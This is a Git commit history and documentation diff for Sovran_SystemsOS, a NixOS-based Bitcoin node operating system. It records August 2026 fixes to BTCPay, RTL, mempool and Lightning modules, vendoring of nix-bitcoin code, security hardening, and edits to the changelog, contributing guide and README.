90 Commits
Author SHA1 Message Date
Sovran SystemsandGitHub 9ce169c4f0 Merge pull request #428 from naturallaw777/fix/hub-load-performance
perf: speed up Hub service status loading
2026-08-11 13:37:29 -05:00
naturallaw777 61287dfece perf: speed up Hub service status loading 2026-08-11 13:35:59 -05:00
Sovran SystemsandGitHub f48f210209 Merge pull request #427 from naturallaw777/fix/hub-service-version-badges
fix: correct RTL and Mempool Hub versions
2026-08-11 13:09:48 -05:00
naturallaw777 4193c56397 fix: correct RTL and Mempool Hub versions 2026-08-11 13:07:28 -05:00
naturallaw777 f85f1a2c9f Update Documentation 2026-08-11 12:18:21 -05:00
Sovran SystemsandGitHub 802474fe6d Merge pull request #426 from naturallaw777/fix/ddns-validation-placeholder
Fix DDNS URL validation: replace ${IP} temporarily for validator, kee…
2026-08-11 11:51:53 -05:00
Arena Agentandnaturallaw777 679c7a039f Fix DDNS URL validation: replace ${IP} temporarily for validator, keep placeholder for storage 2026-08-11 11:47:32 -05:00
CopilotandGitHub 1b43a34e9c Merge pull request #424 from naturallaw777/copilot/security-hardening-final
Security hardening: key removal, session expiry, DDNS validation, journal allowlist, and production-backed tests
2026-08-11 11:34:51 -05:00
3f233beea0 njalla.nix: fail on ImportError; fix redundant except clause
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 15:40:04 +00:00
947c04834d Fix all 8 security hardening blockers for PR #423
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 15:38:08 +00:00
naturallaw777 894707a87c Correctly escape DDNS placeholder in Nix string 2026-08-11 10:11:44 -05:00
naturallaw777 43fc01d350 Fix Nix interpolation in DDNS runner 2026-08-11 10:06:32 -05:00
naturallaw777 1f0a1ab865 Import consolidated security hardening from PRs #419 and #420 2026-08-11 09:57:06 -05:00
Sovran SystemsandGitHub 79f3e8efd8 Merge pull request #422 from naturallaw777/copilot/security-hardening-draft-pr-combined
Consolidate security hardening for DDNS, support access, auth gating, and upgrade migrations
2026-08-11 09:32:49 -05:00
copilot-swe-agent[bot]andGitHub ff6abf3b8e Initial plan 2026-08-11 14:00:34 +00:00
a111de1ece Security hardening: fix all 8 blocking findings for PR #419
Fix 1: Update support.js to collect SSH public key and POST JSON
Fix 2: Legacy njalla.sh migration - parse safely, archive non-executable, replace cron with systemd timer
Fix 3: DDNS SSRF prevention - allowlist only njal.la, reject other hosts, disable curl redirects
Fix 4: Legacy root support-key removal migration (_remove_legacy_root_support_key)
Fix 5: Automatic support-key expiration (expires_at + _expire_support_if_stale)
Fix 6: Move security helpers to security_helpers.py, tests import production code
Fix 7: Real NIP-19/Bech32 npub validation (_bech32_decode + _validate_npub)
Fix 8: Replace journalctl sudo wildcard with restricted sovran-journal-helper.py
Also: Make _write_hub_overrides() atomic with tempfile+os.replace
94 tests passing

Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 12:07:18 +00:00
9b77b04741 Fix IP validation in DDNS and document journalctl sudo rule
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 10:45:50 +00:00
f2ad9c1f17 Security hardening: fix DDNS injection, Nix injection, reboot auth, support key, sudo rules
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 10:44:26 +00:00
copilot-swe-agent[bot]andGitHub 590ed134b7 Initial plan 2026-08-11 10:35:07 +00:00
Sovran SystemsandGitHub cc438aa524 Merge pull request #418 from naturallaw777/fix/btcpay-version-display
fix: report configured BTCPay Server version
2026-08-11 05:18:59 -05:00
Arena.ai Agentandnaturallaw777 0d0a1888f9 fix: report configured BTCPay Server version 2026-08-11 05:15:11 -05:00
Sovran SystemsandGitHub 14b8258420 Merge pull request #417 from naturallaw777/copilot/fix-nixos-service-startup-regressions-again
Fix Matrix SIGPIPE crash and RTL v0.15.8 config schema regressions
2026-08-10 22:43:24 -05:00
09b34997e4 Fix Matrix SIGPIPE and RTL v0.15.8 config schema regressions
- modules/synapse.nix: replace tr|head pipeline (causes SIGPIPE under
  set -euo pipefail) with pwgen -sA0 20 1 which is already in PATH
- modules/bitcoin/rtl.nix: lowercase Authentication->authentication and
  Settings->settings per RTL v0.15.8 schema; add lnServerUrl pointing
  to LND REST endpoint; move swapServerUrl/boltzServerUrl inside
  settings; apply same fixes to CLN branch

Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 03:41:41 +00:00
copilot-swe-agent[bot]andGitHub a372b88488 Initial plan 2026-08-11 03:39:21 +00:00
Sovran SystemsandGitHub 7716c950cd Merge pull request #415 from naturallaw777/copilot/fix-btcpay-runtime-regressions
fix(btcpay): NBXplorer cookie auth and WorkingDirectory for wwwroot
2026-08-10 22:25:27 -05:00
2c223d1166 fix: add NBXplorer cookie auth and WorkingDirectory for BTCPay service
- Add btcexplorercookiefile to BTCPay deterministic config so NBXplorer
  cookie authentication succeeds (fixes 401 Unauthorized)
- Set WorkingDirectory to package lib dir so ASP.NET Core can locate
  wwwroot and LanguageService.ctor does not throw ArgumentNullException
- Update regression test to assert cookie file path and WorkingDirectory

Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 03:24:13 +00:00
copilot-swe-agent[bot]andGitHub 503bd2467d Initial plan 2026-08-11 03:22:13 +00:00
Sovran SystemsandGitHub 57070644cc Merge pull request #414 from naturallaw777/copilot/fix-btcpay-startup-regression
Fix BTCPay Server startup crash: assign home directories to service users
2026-08-10 22:13:18 -05:00
1b6b1ade46 Fix BTCPay startup regression: add home dirs to service users
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 03:12:27 +00:00
copilot-swe-agent[bot]andGitHub a7b149f58a Initial plan 2026-08-11 03:11:02 +00:00
Sovran SystemsandGitHub 90f89f14ba Merge pull request #413 from naturallaw777/copilot/harden-btcpay-nbxplorer-integration
Harden BTCPay/NBXplorer secret handling and deterministic config generation
2026-08-10 22:01:00 -05:00
dcfee1fb32 fix: address btcpay hardening review feedback
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 02:44:12 +00:00
05a42bcc4b feat: harden btcpay and nbxplorer config handling
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 02:40:16 +00:00
copilot-swe-agent[bot]andGitHub 9befcd06e6 Initial plan 2026-08-11 02:34:27 +00:00
Sovran SystemsandGitHub c9169164b5 Merge pull request #412 from naturallaw777/copilot/fix-btcpayserver-hmac-authentication
fix(btcpayserver): register bitcoin-HMAC-btcpayserver as managed nix-bitcoin secret
2026-08-10 21:27:10 -05:00
cb84ca839f fix: register bitcoin-HMAC-btcpayserver as managed secret owned by bitcoind user
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-11 02:25:21 +00:00
copilot-swe-agent[bot]andGitHub 6d59441b13 Initial plan 2026-08-11 02:24:45 +00:00
CopilotandGitHub 5475e33d08 Merge pull request #410 from naturallaw777/copilot/409-update-fetch-node-modules
Unblock flake checks and document vendored nix-bitcoin packaging provenance
2026-08-10 21:07:38 -05:00
copilot-swe-agent[bot]andSovran Systems 88896f00c4 Add provenance headers and fix flake checks for PR409
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-10 21:07:10 -05:00
CopilotandGitHub cb2d6de0ef Merge pull request #409 from naturallaw777/copilot/fix-nixos-build-mempool-3-2-1
Restore upstream nix-bitcoin fetchNodeModules helper to fix mempool and RTL builds
2026-08-10 21:07:08 -05:00
c2dce6cf94 Restore upstream nix-bitcoin fetchNodeModules for mempool and RTL packages
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-10 23:24:31 +00:00
copilot-swe-agent[bot]andGitHub 7879a2771d Initial plan 2026-08-10 23:21:00 +00:00
Sovran SystemsandGitHub 820d850d00 Refactor Nix build configuration for mempool 2026-08-10 18:07:46 -05:00
Sovran SystemsandGitHub d733187ec5 Update npm dependencies and patch handling in default.nix 2026-08-10 17:40:53 -05:00
Sovran SystemsandGitHub f7b1f42e0e Update npmDepsHash for backend and frontend packages 2026-08-10 17:33:21 -05:00
Sovran Systems 03fb7791eb Mempool: use postPatch to copy lock file for npmDeps fetcher
prefetch-npm-deps runs in the deps fetcher's buildPhase and checks for
package-lock.json at CWD (repo root). postPatch runs in both the
fetcher and the main build, so we copy the lock file there. The main
build then cds into the subdir in buildPhase.

npmDepsHash values remain placeholders (lib.fakeHash).
2026-08-10 17:21:42 -05:00
Sovran Systems 953cacc72c Mempool: use preBuild cd instead of postUnpack so npmDeps fetcher finds lock files
postUnpack did not run in the npmDeps fixed-output derivation, so
prefetch-npm-deps couldn't find package-lock.json. preBuild runs in
both the fetcher and main build, ensuring consistent CWD for the lock
file lookup. Backend patch moved to prePatch/postPatch so it only
applies in the main build.

npmDepsHash values remain placeholders (lib.fakeHash).
2026-08-10 17:15:07 -05:00
Sovran Systems 6021691b3f Mempool: fix npmDeps fetcher — postUnpack instead of sourceRoot, postPatch instead of patches
The `patches` attribute was being applied inside the npmDeps
fixed-output derivation where patch runs interactively and fails.
sourceRoot also caused the deps fetcher to hash a different tree than
expected. Now:

- postUnpack cds into the subdir for both the fetcher and main build
- postPatch applies the mining-pool patch only in the main build
- npmDepsHash values remain placeholders (lib.fakeHash)
2026-08-10 17:11:30 -05:00
Sovran Systems 4d8bb06d41 Mempool: switch backend and frontend to buildNpmPackage with placeholder npmDepsHash
npm ci in buildPhase hangs because the Nix build sandbox has no network
access. buildNpmPackage pre-fetches dependencies as a fixed-output
derivation with network access, then the main build runs offline.

npmDepsHash values are placeholders (lib.fakeHash) — the first builds
will fail with hash mismatches that report the correct hashes.
2026-08-10 17:07:02 -05:00
Sovran SystemsandGitHub b96d2bcb24 Update npmDepsHash with correct hash value 2026-08-10 12:46:02 -05:00
Sovran Systems 228a48af03 RTL: switch to buildNpmPackage with placeholder npmDepsHash
buildNpmPackage is built into nixpkgs and pre-fetches dependencies as a
fixed-output derivation with network access. npmDepsHash is a
placeholder (lib.fakeHash) — the first build will fail with a hash
mismatch that reports the correct hash.
2026-08-10 12:41:51 -05:00
Sovran Systems 0df4cde9b8 Fix RTL: use fetchNodeModules instead of npm ci in buildPhase
npm ci in buildPhase hangs because the Nix build sandbox has no network
access. Adopt nix-bitcoin's approach: fetchNodeModules pre-fetches
node_modules as a fixed-output derivation (which has network access),
and the main build copies them offline. Uses the same node_modules hash
as upstream nix-bitcoin for RTL 0.15.8.
2026-08-10 12:36:58 -05:00
Sovran Systems a37b1a91bf Fix PostgreSQL ensureUsers: use ensureDBOwnership instead of ensureClauses
ensureClauses generates ALTER ROLE clauses, not GRANT statements, so
'"DATABASE btcpayserver" = "ALL PRIVILEGES"' produced invalid SQL.
ensureDBOwnership = true makes each user own its database, which is
the intended effect.
2026-08-10 11:44:19 -05:00
Sovran Systems ebcc086a7e Fix lnd macaroons: replace invalid 'enable' with 'user'
The services.lnd.macaroons submodule has no 'enable' option — macaroons
are implicitly enabled by being defined. Replace 'enable = true' with
'user = cfg.btcpayserver.user' which is the correct option for
controlling macaroon file ownership.
2026-08-10 11:40:36 -05:00
Sovran Systems dcc9e4904e Add bitcoind.rpc.users.btcpayserver for NBXplorer
Define the btcpayserver RPC user in bitcoind with passwordHMACFromFile
and the full RPC whitelist required by NBXplorer.
2026-08-10 11:34:24 -05:00
Sovran Systems fd209254a2 Fix postgresql ensurePermissions -> ensureClauses for nixpkgs unstable
The option services.postgresql.ensureUsers.*.ensurePermissions was renamed
to ensureClauses in nixpkgs unstable. Update both btcpayserver and nbxplorer
database user configurations.
2026-08-10 11:21:10 -05:00
Sovran Systems a68130625e Fix btcpayserver.nix to use pkgs.stable overlay
Replace all pkgs-stable references with pkgs.stable (from overlay-stable in flake.nix):
- Remove pkgs-stable from function arguments
- Use pkgs.stable.nbxplorer (2.6.10 from nixos-26.05)
- Use pkgs.stable.btcpayserver (2.4.2 from nixos-26.05)
2026-08-10 11:16:26 -05:00
Sovran Systems 7b04adbbe6 Restore original flake.nix with nixosModules.Sovran_SystemsOS export
Restores the complete original flake.nix that includes:
- nixosModules.Sovran_SystemsOS (required by deployed machines)
- overlay-stable for accessing pkgs.stable packages
- nixosConfigurations.nixos for direct builds
- nixosConfigurations.sovran_systemsos-iso for ISO builds
- nixosTests and checks
2026-08-10 11:12:21 -05:00
Sovran Systems 2c6ef7b60e Fix btcpayserver syntax error and pin to nixpkgs-stable (2.4.2)
1. flake.nix: Add pkgs-stable as specialArg for modules
2. btcpayserver.nix:
   - Fix preStart script syntax error (closing brace on new line)
   - Use pkgs-stable.btcpayserver (2.4.2) instead of pkgs.btcpayserver
   - Use pkgs-stable.nbxplorer (2.6.10) instead of pkgs.nbxplorer
   - Remove clightning references (Sovran is LND-only)
2026-08-10 10:56:51 -05:00
Sovran Systems 179fc501f9 Add vendored RTL package and fix rtl.nix to use it
- Create packages/rtl/default.nix to build RTL from source
- Update modules/bitcoin/rtl.nix to use vendored package instead of pkgs.rtl
- Remove clightning/lightning-loop references (Sovran is LND-only)
- Simplify to LND-only configuration
2026-08-10 10:38:20 -05:00
Sovran Systems 8bcabe2aa1 Fix mempool package: remove fetchNodeModules dependency
Replace fetchNodeModules (nix-bitcoin specific) with standard npm ci approach.
The package-lock.json files in the mempool repo will be used directly.
2026-08-10 10:25:39 -05:00
Sovran SystemsandGitHub 5d5e369411 Merge pull request #408 from naturallaw777/copilot/vendor-mempool-packages
Vendor mempool packages and make `services.mempool` self-contained
2026-08-10 10:09:33 -05:00
425a1845b4 chore: clean mempool module comment typo
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-10 15:07:42 +00:00
546dacf396 vendor mempool packages and wire mempool module to vendored pkgs
Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
2026-08-10 15:06:50 +00:00
copilot-swe-agent[bot]andGitHub 17c0db8290 Initial plan 2026-08-10 15:03:18 +00:00
Sovran SystemsandGitHub dac733de9a Refactor onion service configuration for LND 2026-08-10 09:55:59 -05:00
Sovran SystemsandGitHub 3baf504c60 Fix typo in onion-addresses service check 2026-08-10 09:52:55 -05:00
Sovran Systems f220b93b12 Add missing bitcoind-rpc-public-whitelist.nix
This file is imported by bitcoind.nix line 375 but was missing from the repo.
Vendored from nix-bitcoin to make the module self-contained.
2026-08-10 09:45:23 -05:00
Sovran SystemsandGitHub b2a5233653 Merge pull request #407 from naturallaw777/copilot/fixnix-bitcoin-vendoring
Complete nix-bitcoin vendoring for fully self-contained Bitcoin modules
2026-08-10 09:41:26 -05:00
copilot-swe-agent[bot]andGitHub 2bb5c50196 Initial plan 2026-08-10 14:30:27 +00:00
Sovran SystemsandGitHub 80c4b052a0 Merge pull request #406 from naturallaw777/fix/onion-services-remove-joinmarket-ob-watcher
Remove joinmarket-ob-watcher from onion-services defaults
2026-08-10 09:15:26 -05:00
Sovran Systems 2accada021 Remove joinmarket-ob-watcher from onion-services defaults
The joinmarket-ob-watcher module was not imported from nix-bitcoin,
so referencing it in the onion-services defaults caused an
"attribute 'joinmarket-ob-watcher' missing" evaluation error.
2026-08-10 09:13:33 -05:00
Sovran SystemsandGitHub a6296b9473 Fix formatting of extraGroups in btcpayserver.nix 2026-08-10 08:55:12 -05:00
Sovran SystemsandGitHub 5173fb3df6 Merge pull request #404 from naturallaw777/fix/syntax-final
fix: add missing semicolon after extraGroups in btcpayserver.nix
2026-08-10 08:53:36 -05:00
Syntax Fixandnaturallaw777 147afcc4ac fix: add missing semicolon after extraGroups in btcpayserver.nix
- Previous lnd-only refactor removed the '++ optional clightning' line
  but left 'extraGroups = [ cfg.nbxplorer.group ]' without trailing ';'
  -> syntax error: unexpected '=', expecting ';' at home = ...
- Add ';' to fix build on both f13ff45 and 8b8c811
2026-08-10 08:51:39 -05:00
Sovran SystemsandGitHub 2e35539ae6 Merge pull request #403 from naturallaw777/tailor/lnd-only-final
tailor: make bitcoin modules truly Sovran-only (lnd-only) and delete …
2026-08-10 08:40:08 -05:00
Sovran Tailorandnaturallaw777 31cd5f96f2 tailor: make bitcoin modules truly Sovran-only (lnd-only) and delete stubs.nix
- lndconnect.nix: rewrite to lnd-only (320 lines removed) - remove
  services.clightning.plugins.clnrest.lnconnect and
  services.clightning-rest.lndconnect (Sovran only uses services.lnd.lndconnect for Zeus)
  Fixes: 'services.clightning.plugins.clnrest.address does not exist' on f13ff45
  and 'attribute enable missing' at lndconnect.nix:216

- btcpayserver.nix: remove liquidd (lbtc) dead branch - Sovran uses lbtc=false
  * remove inherit (config.services) bitcoind liquidd -> just bitcoind
  * lbtc chains/rpc handling is dead code, keep guards but no need for liquidd service

- mempool.nix: remove fulcrum branch - Sovran uses electrs only
- rtl.nix: remove lightning-loop block and clightning service block (lnd only)
- Delete modules/bitcoin/stubs.nix entirely - no dead service references left
  * liquidd, fulcrum, lightning-loop, joinmarket now not referenced at all
  * clightning already handled via guards, not stubs
- Result: modules/bitcoin/ is now 100% tailored to Sovran (bitcoind+knots, lnd, electrs, rtl, btcpayserver, mempool)
  No more stubs whack-a-mole on any nixos-unstable
2026-08-10 08:37:29 -05:00
Sovran SystemsandGitHub 90262e672e Merge pull request #402 from naturallaw777/refactor/clean-bitcoin
refactor: move vendor/nix-bitcoin to modules/bitcoin, remove overlays
2026-08-10 08:24:07 -05:00
Sovran Cleanandnaturallaw777 1fbeafd02f refactor: move vendor/nix-bitcoin to modules/bitcoin, remove overlays
- Move modules/vendor/nix-bitcoin/* -> modules/bitcoin/* (clean, Sovran-owned)
  * modules/bitcoin/default.nix imports the 6 tailored services
  * modules/bitcoin/common.nix bundles secrets/onion/lib
  * modules/bitcoin/stubs.nix kept minimal (no clightning)
  * packages/lndinit/default.nix replaces pkgs/sovran-overlay.nix
    (lnd.nix now uses pkgs.callPackage ../../packages/lndinit {})
- Remove pkgs/sovran-overlay.nix, pkgs/nbxplorer.nix, pkgs/README.md
  * No global overlay - lndinit is a normal package in packages/
- Remove modules/vendor/ entirely
- Update flake.nix: drop overlay-sovran, import ./modules/bitcoin
  instead of ./modules/vendor/nix-bitcoin/modules.nix
- No more random vendor/ or pkgs/ dirs - follows Sovran convention:
  modules/ for NixOS modules, packages/ for packages
2026-08-10 08:20:40 -05:00
Sovran SystemsandGitHub 953cedce3f Merge pull request #401 from naturallaw777/fix/final-btcpayserver
fix: remove services.clightning.enable assignment that fails on f13ff45
2026-08-10 04:45:38 -05:00
Sovran Fixandnaturallaw777 58d7e21d28 fix: remove services.clightning.enable assignment that fails on f13ff45
- f13ff45 HAS services.clightning but only as { plugins = ... }, no enable
  -> 'option does not exist, did you mean plugins' (your error)
- Sovran never uses lightningBackend == clightning (uses lnd),
  so just don't set services.clightning.enable at all
- Also make lnd port conflict check always true for clightning case
- Fixes both f13ff45 (has clightning/plugins) and 8b8c811 (removed)
2026-08-10 04:43:20 -05:00
Sovran SystemsandGitHub 9f7dcfa6de Merge pull request #400 from naturallaw777/fix/final-clightning-both
fix: remove clightning and clightning-rest from stubs to avoid duplic…
2026-08-10 04:35:03 -05:00
Sovran Fixandnaturallaw777 6c2c69d18a fix: remove clightning and clightning-rest from stubs to avoid duplicate on f13ff45
- f13ff45 (staging-dev) HAS both services -> unconditional stubs duplicate
- Remove both from stubs.nix, keep only liquidd/fulcrum/etc.
- lndconnect.nix left as is (defines clightning-rest.lndconnect) - safe on f13ff45 where base exists
- On 8b8c811 where clightning is removed, Sovran doesn't use it anyway (lnd only), so guards in btcpayserver/lnd prevent use
2026-08-10 04:31:23 -05:00
Sovran SystemsandGitHub 6b9c68e3b2 Merge pull request #399 from naturallaw777/fix/nixpkgs-unstable-clightning-2026-08
fix: add stubs for nixpkgs-unstable 2026-08 where services.clightning…
2026-08-09 21:23:01 -05:00
Sovran Fixandnaturallaw777 4b511348ae fix: add stubs for nixpkgs-unstable 2026-08 where services.clightning removed
nixpkgs 8b8c811 (2026-08-08) removed services.clightning.enable,
causing btcpayserver.nix:124 to throw 'option does not exist' on
nixos-rebuild (your error). Sovran uses lnd only, never clightning,
but evaluation still throws.

- Add modules/vendor/nix-bitcoin/stubs.nix to provide missing options
  as false stubs: clightning, clightning-rest, liquidd, fulcrum,
  lightning-loop/pool, joinmarket
- Guard btcpayserver/rtl/lnd/mempool clightning/liquidd references
  with config.services ? X checks
- Trim enable-tor.nix onionServices for removed services
2026-08-09 21:21:19 -05:00
Sovran SystemsandGitHub 81946895db Merge pull request #398 from naturallaw777/vendor/nixpkgs-only
Vendor/nixpkgs only
2026-08-09 20:24:11 -05:00
naturallaw777 a10ef95b5c chore: nix flake update - drop nix-bitcoin 2026-08-09 20:19:35 -05:00
Sovran PR Botandnaturallaw777 278d480653 vendor: replace nix-bitcoin flake input with minimal vendored modules (nixpkgs-only)
- Remove inputs.nix-bitcoin (fort-nix/nix-bitcoin/release) from flake.nix
- Vendor only 6 services actually used by Sovran: bitcoind, electrs,
  lnd (+lndconnect), rtl, btcpayserver, mempool + supporting infra:
  secrets, onion-services/addresses, operator, nodeinfo, security,
  versioning
- All packages now from nixpkgs directly (pkgs.*) — no pinned pkgs
- Keep nix-bitcoin.* option namespace for compatibility
- backups.nix removed: Sovran uses rsnapshot to Second_Drive
  (configuration.nix: hourly/daily to BTCEcoandBackup) — duplicity
  remote backup not needed
- netns-isolation.nix replaced with stub (5 lines): original 365-line
  bridge/iptables/ip-netns broke Caddy/AlbyHub/RTL a year ago and
  is incompatible with nwc-wallets (requires enable=false). Stub
  keeps option valid but warns if enabled.
- Add pkgs/sovran-overlay.nix for gaps only: lndinit + netns-exec stub
2026-08-09 20:16:34 -05:00
naturallaw777 b64061135a fix(scripts): keep ISO artifacts out of the repo and auto-update README on release 2026-08-07 18:31:20 -05:00
Sovran SystemsandGitHub 825c3fbb4b Remove duplicate 1.0.6 release notes from CHANGELOG
Remove duplicate version 1.0.6 details from CHANGELOG.md.
2026-08-07 16:17:24 -05:00
55 changed files with 6283 additions and 617 deletions
+1 -44
View File
@@ -51,50 +51,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Clarify GitHub is the dev mirror of the Gitea stable repo - Clarify GitHub is the dev mirror of the Gitea stable repo
[1.0.6]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.6 [1.0.6]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.6
## [1.0.6] - 2026-08-07
### Added
- Iso: fix replaceStrings length mismatch in cleanVersion
- Promote virtual machine trial option in README
- Improve installer VM compatibility
- Trim redundant dev-vs-stable Gitea explanations in README
- Add Arean.Ai to AI tools used for development
- Prefix OS version badge with 'v' (v1.0.5)
- Match OS version badge styling to service modal version badges
- Place OS version badge inline right after the Hub title
- Center OS version badge under the Hub title
- Strengthen entropy section: add DYOR emphasis and hardware wallet verification note
- Add 'About Bitcoin wallet entropy' section to README
- README: balance intro between Bitcoin sovereignty and sovereign computing
### Changed
- Removed temp patch file
### Fixed
- Harden error handling and sanitize exception details across security endpoints (CWE-209)
- Sanitize exception handling in verify-integrity and security-reset (CWE-209)
- Sanitize api_security_reset errors to prevent exception information exposure (CWE-209)
- Use canonical prefix containment check for CodeQL path-injection
- Pass sanitized abs_path to os.chown to resolve CodeQL path injection at 4338
- Add CodeQL-recognized path sanitization for domain_name
- Remove domain substring check for CodeQL incomplete-url
- Use sentinel for njalla header check (CodeQL incomplete-url-substring)
- Prevent reflected XSS in lnurl-qr print endpoint
- Hash root password instead of storing in clear text (CWE-312)
- Separate web auth hash from system password file
- Fix Matrix Hub admin API credentials
- Fix CWE-78: replace subprocess call with Synapse Admin API in create-user endpoint
### Documentation
- Add SECURITY.md detailing security policy and best practices
- Versioned CDN downloads + add CDN upload script
- Correct active development workflow
- Make repo references mirror-neutral for Gitea readers
- Clarify GitHub is the dev mirror of the Gitea stable repo
[1.0.6]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/v1.0.6
## [1.0.5] - 2026-08-04 ## [1.0.5] - 2026-08-04
### Added ### Added
@@ -123,6 +79,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
## [Unreleased] ## [Unreleased]
### Fixed ### Fixed
- Report the version of the configured BTCPay Server package in the Hub instead of the different package version from unstable nixpkgs.
- Installer VM compatibility: legacy BIOS VM boots now install with GRUB, UEFI VM installs avoid depending on NVRAM boot-entry writes, VM users get clearer disk/resource guidance, and the internet check falls back to HTTPS when ICMP is blocked. - Installer VM compatibility: legacy BIOS VM boots now install with GRUB, UEFI VM installs avoid depending on NVRAM boot-entry writes, VM users get clearer disk/resource guidance, and the internet check falls back to HTTPS when ICMP is blocked.
- **Manual Backup now matches the system role**: on the Desktop Only role the Hub's - **Manual Backup now matches the system role**: on the Desktop Only role the Hub's
"What gets backed up" list no longer shows Node / Server + Desktop items "What gets backed up" list no longer shows Node / Server + Desktop items
+8 -1
View File
@@ -30,7 +30,7 @@ The workflow is:
Please note: GitHub `main` and Gitea `staging-dev` may contain new features and Please note: GitHub `main` and Gitea `staging-dev` may contain new features and
code not yet in `stable`, and that code may not be fully tested. code not yet in `stable`, and that code may not be fully tested.
Moreover, Sovran_SystemsOS has been improved with the help of AI. We have used Copilot and Arean.Ai to work through significant coding challenges and troubleshooting hurdles. We will continue to use AI to help keep Sovran_SystemsOS stable and maintained. Moreover, Sovran_SystemsOS has been improved with the help of AI. We have used Copilot and Arena.ai to work through significant coding challenges and troubleshooting hurdles. We will continue to use AI to help keep Sovran_SystemsOS stable and maintained.
## How Can I Contribute? ## How Can I Contribute?
@@ -92,6 +92,13 @@ git push origin feature/your-feature-name
- **Do not push directly to `main`.** Always use a feature branch and open a PR. - **Do not push directly to `main`.** Always use a feature branch and open a PR.
- **Be patient.** PRs will be reviewed as soon as possible. - **Be patient.** PRs will be reviewed as soon as possible.
## Security-Sensitive Changes
- Report vulnerabilities privately as described in [`SECURITY.md`](SECURITY.md).
- Pin upstream revisions and hashes; do not use floating source references.
- Update [`THIRD_PARTY_NOTICES.md`](THIRD_PARTY_NOTICES.md) when importing code.
- Add regression tests and describe any threat-model change in the pull request.
## Code Style ## Code Style
- Follow the existing patterns in the codebase - Follow the existing patterns in the codebase
+44 -68
View File
@@ -507,14 +507,13 @@ setup, supported hardware, and Royal Membership.
## For developers ## For developers
Sovran_SystemsOS combines the reproducibility of [NixOS](https://nixos.org), Sovran_SystemsOS combines [NixOS](https://nixos.org), an in-repository
the Bitcoin service modules of Bitcoin and Lightning stack, desktop packages from
[nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), the desktop Bitcoin
packages provided by
[btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix), and the [btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix), and the
Sovran Hub into a complete Bitcoin operating system. The operating system Sovran Hub. The Bitcoin modules under `modules/bitcoin/` were adapted from
configuration, installer, Hub, desktop integration, Bitcoin services, and [nix-bitcoin](https://github.com/fort-nix/nix-bitcoin) and are now maintained
optional self-hosting services are all maintained in this repository. here. Builds no longer import or fetch nix-bitcoin. Legacy `nix-bitcoin.*`
option names and `/etc/nix-bitcoin-secrets` remain for compatibility.
### Development workflow ### Development workflow
@@ -533,9 +532,9 @@ optional self-hosting services are all maintained in this repository.
### Technology ### Technology
- [NixOS](https://nixos.org) and [Nix flakes](https://nixos.wiki/wiki/Flakes) - [NixOS](https://nixos.org) and [Nix flakes](https://nixos.wiki/wiki/Flakes)
for reproducible system configuration for declarative, pinned system configuration
- [nix-bitcoin](https://github.com/fort-nix/nix-bitcoin) for declarative - `modules/bitcoin/` for the in-repository Bitcoin and Lightning stack
Bitcoin and Lightning services - `packages/` for Sovran-maintained package definitions and patches
- [btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix) for the - [btc-clients-nix](https://github.com/emmanuelrosa/btc-clients-nix) for the
Sparrow, Bisq, and Bisq 2 packages Sparrow, Bisq, and Bisq 2 packages
- [Python](https://www.python.org) and [FastAPI](https://fastapi.tiangolo.com) - [Python](https://www.python.org) and [FastAPI](https://fastapi.tiangolo.com)
@@ -625,12 +624,14 @@ sudo nixos-rebuild switch --rollback
| `flake.nix` | Declares flake inputs, the running system, and installer outputs | | `flake.nix` | Declares flake inputs, the running system, and installer outputs |
| `flake.lock` | Pins dependencies for reproducible builds | | `flake.lock` | Pins dependencies for reproducible builds |
| `configuration.nix` | Base host, boot, desktop, user, security, backup, and system configuration | | `configuration.nix` | Base host, boot, desktop, user, security, backup, and system configuration |
| `modules/` | Core modules, Bitcoin services, self-hosted services, and optional features | | `modules/` | Core modules, self-hosted services, and optional features |
| `modules/bitcoin/` | In-repository Bitcoin and Lightning service modules |
| `modules/core/` | Roles, Hub integration, Caddy, desktop, support, and other core behavior | | `modules/core/` | Roles, Hub integration, Caddy, desktop, support, and other core behavior |
| `app/` | Sovran Hub backend, templates, static assets, scripts, and web interface | | `app/` | Sovran Hub backend, templates, static assets, scripts, and web interface |
| `scripts/` | Automated release, build, and CDN upload utility scripts | | `scripts/` | Automated release, build, and CDN upload utility scripts |
| `iso/` | Installer configuration, installer code, and installer assets | | `iso/` | Installer configuration, installer code, and installer assets |
| `packages/` | Custom package sources and patches (for example, Alby Hub) | | `packages/` | Sovran-maintained package definitions and patches |
| `tests/` | Security and Nix integration checks |
| `assets/` | Documentation images | | `assets/` | Documentation images |
| `custom.template.nix` | Template for local features and service overrides | | `custom.template.nix` | Template for local features and service overrides |
@@ -704,65 +705,35 @@ production environment.
## About Bitcoin wallet entropy ## About Bitcoin wallet entropy
